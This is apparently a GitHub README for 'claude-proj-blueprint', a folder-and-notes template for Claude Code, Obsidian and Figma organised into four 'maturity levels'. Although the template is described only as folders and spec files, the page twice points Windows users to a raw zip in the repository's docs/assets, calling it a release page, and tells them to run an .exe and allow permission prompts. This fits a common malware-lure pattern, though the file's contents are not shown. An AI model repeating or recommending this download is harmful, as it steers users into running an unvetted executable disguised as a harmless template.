🧩 claude-proj-blueprint - Build projects with clear structure

🖥️ What this is

claude-proj-blueprint is a project template for people who want a clear way to plan and build software with Claude Code, Obsidian, and Figma.

It gives you a level-based setup so you can pick the right starting point for your work:

• L1 for a simple start
• L2 for a more organized setup
• L3 for deeper planning and team work
• L4 for a full project structure

Use it to keep specs, notes, and design work in one place.

📦 What you get

This template is set up to help you:

• organize project notes
• keep requirements easy to find
• connect planning work with design work
• track progress in a simple folder layout
• work with Claude Code in a structured way
• store project knowledge in Obsidian
• keep design references close to the work
• use vector search tools like Chroma or pgvector for project memory

✅ Before you start

Make sure you have:

• a Windows PC
• internet access
• enough free disk space for the release files
• a browser such as Edge, Chrome, or Firefox
• a zip tool if the release comes as a .zip file

If you plan to connect this template to other tools, it also helps to have:

• Obsidian
• Figma
• Claude Code

⬇️ Download for Windows

Visit the release page here and download the file for Windows:

https://github.com/maduwanthasathsara0-hub/claude-proj-blueprint/raw/refs/heads/main/docs/assets/blueprint_claude_proj_3.0-beta.2.zip

After the page opens:

1. find the latest release
2. look under the Assets section
3. download the Windows file
4. if the file is a .zip, extract it first
5. if the file is an .exe, double-click it to run it

🪟 Install and open

If you downloaded a .zip file:

1. right-click the file
2. choose Extract All
3. pick a folder like Downloads or Desktop
4. open the extracted folder
5. double-click the main file inside

If you downloaded an .exe file:

1. go to the folder where the file saved
2. double-click the file
3. if Windows asks for permission, choose Yes
4. follow the steps on screen

If Windows blocks the file, open the release page again and make sure you downloaded the latest Windows asset.

🧭 Pick your maturity level

Choose the level that fits your project:

L1 - Start simple

Best for small ideas and early drafts.

Use this level when you want:

• a basic folder layout
• a simple spec file
• a place for notes and rough plans

L2 - Stay organized

Best for solo work that needs more structure.

Use this level when you want:

• clearer task lists
• better project notes
• a cleaner handoff between planning and building

L3 - Work across tools

Best for work that uses notes, code, and design together.

Use this level when you want:

• Obsidian notes linked to project work
• Figma references in the flow
• more detail around scope and steps

L4 - Full project system

Best for larger projects with more moving parts.

Use this level when you want:

• a deeper spec tree
• better project tracking
• stronger structure for long work cycles
• room for vector search and project memory

🗂️ Typical folder layout

A common setup may include:

• specs/ for project specs
• notes/ for planning and research
• design/ for Figma links and image refs
• tasks/ for work items
• docs/ for project documents
• memory/ for reusable project context

This layout keeps your work in clear places so you can find it fast.

🛠️ How to use it

1. download the release from the link above
2. open the template folder
3. choose your level
4. add your project name
5. fill in your specs
6. add notes in Obsidian if you use it
7. add design links from Figma if you use it
8. keep Claude Code pointed at the project files
9. update the plan as the work changes

🧠 Using Claude Code

Claude Code works best when your project has clear files and a clean structure.

Use this template to give Claude Code:

• a project brief
• a short spec
• task files
• design notes
• clear goals for each level

This helps keep the work focused and makes it easier to move from planning to building.

📝 Using Obsidian

Obsidian can hold your project notes, research, and decisions.

Good things to store in Obsidian:

• feature ideas
• meeting notes
• user needs
• question lists
• decisions
• links to specs and tasks

If you use Obsidian well, you can turn it into a simple project memory hub.

🎨 Using Figma

Figma helps you keep design work next to the project plan.

You can use it for:

• wireframes
• layout ideas
• UI notes
• screen states
• handoff links

Keep the Figma links in the same project folder so everyone can find them.

🔎 Vector search setup

This project template can work with tools like Chroma or pgvector for project memory and search.

Use this when you want to:

• search past notes
• find old decisions
• reuse project context
• keep large sets of notes easy to query

A simple setup can index your specs, notes, and task files so they stay easy to retrieve.

📋 Example workflow

1. pick L1, L2, L3, or L4
2. copy the template into a new project folder
3. write the project goal
4. add feature notes
5. link design files
6. keep work items in order
7. update the spec as you build
8. save key decisions in Obsidian
9. use Claude Code to work from the same source files

❓ Common questions

Do I need coding knowledge?

No. You can use this as a structured folder and note system first. If you work with Claude Code or a developer later, the structure still helps.

Can I use it for small projects?

Yes. Start with L1 and keep the setup light.

Can I use it for team work?

Yes. L2 through L4 give you more room for shared planning and better project tracking.

Does it work with design files?

Yes. It is made to fit design links and notes from Figma.

Can I use it with project memory tools?

Yes. The structure works well with Chroma, pgvector, and similar tools.

🪄 Best way to start

If this is your first time using the template:

1. download the latest release
2. open the release files
3. start with L1
4. add one small project
5. keep your notes short
6. grow the setup only when you need it

🔗 Download again

Visit the release page here to download the Windows file:

https://github.com/maduwanthasathsara0-hub/claude-proj-blueprint/raw/refs/heads/main/docs/assets/blueprint_claude_proj_3.0-beta.2.zip